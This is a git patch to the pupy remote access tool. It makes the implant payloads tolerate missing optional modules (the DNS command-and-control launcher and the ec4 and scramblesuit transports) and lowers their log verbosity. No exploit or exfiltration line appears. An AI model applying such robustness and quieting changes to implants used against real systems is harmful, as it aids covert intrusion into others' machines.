From c1c062dd92c3c53c798d594469deb97e437b1a51 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Mon, 27 Mar 2017 20:39:56 +0200 Subject: [PATCH] fix .py payloads without dependencies installed --- pupy/network/conf.py | 10 ++++++++-- pupy/network/lib/__init__.py | 14 +++++++++++++- pupy/pp.py | 2 +- 3 files changed, 22 insertions(+), 4 deletions(-) diff --git a/pupy/network/conf.py b/pupy/network/conf.py index 06fd6ede..c9365312 100644 --- a/pupy/network/conf.py +++ b/pupy/network/conf.py @@ -6,7 +6,11 @@ import os, sys, logging, pkgutil, traceback from .lib.launchers.connect import ConnectLauncher from .lib.launchers.auto_proxy import AutoProxyLauncher from .lib.launchers.bind import BindLauncher -from .lib.launchers.dnscnc import DNSCncLauncher +try: + from .lib.launchers.dnscnc import DNSCncLauncher +except Exception as e: + logging.warning("%s: DNSCncLauncher disabled"%(str(e))) + DNSCncLauncher=None import importlib transports={} @@ -51,4 +55,6 @@ except Exception as e: launchers["connect"]=ConnectLauncher launchers["auto_proxy"]=AutoProxyLauncher launchers["bind"]=BindLauncher -launchers["dnscnc"]=DNSCncLauncher +if DNSCncLauncher: + launchers["dnscnc"]=DNSCncLauncher + diff --git a/pupy/network/lib/__init__.py b/pupy/network/lib/__init__.py index 0547909b..0b2ccc9f 100644 --- a/pupy/network/lib/__init__.py +++ b/pupy/network/lib/__init__.py @@ -1,3 +1,4 @@ +import logging from .streams import * from .base import chain_transports from .servers import PupyTCPServer, PupyUDPServer @@ -9,4 +10,15 @@ from .transports.http import PupyHTTPClient, PupyHTTPServer from .transports.xor import XOR from .transports.aes import AES256, AES128 from .transports.rsa_aes import RSA_AESClient, RSA_AESServer -from .transports.ec4 import EC4TransportServer, EC4TransportClient +try: + from .transports.ec4 import EC4TransportServer, EC4TransportClient +except Exception as e: + logging.warning("%s : Transport ec4 disabled"%str(e)) + EC4TransportServer=None + EC4TransportClient=None +try: + from .transports.scramblesuit.scramblesuit import ScrambleSuitClient, ScrambleSuitServer +except Exception as e: + logging.warning("%s : Transport scramblesuit disabled"%str(e)) + ScrambleSuitClient=None + ScrambleSuitServer=None diff --git a/pupy/pp.py b/pupy/pp.py index 62af6b9c..a27a8fbb 100755 --- a/pupy/pp.py +++ b/pupy/pp.py @@ -74,7 +74,7 @@ except ImportError: except Exception as e: logging.warning(e) -logging.getLogger().setLevel(logging.DEBUG) +logging.getLogger().setLevel(logging.WARNING) try: import pupy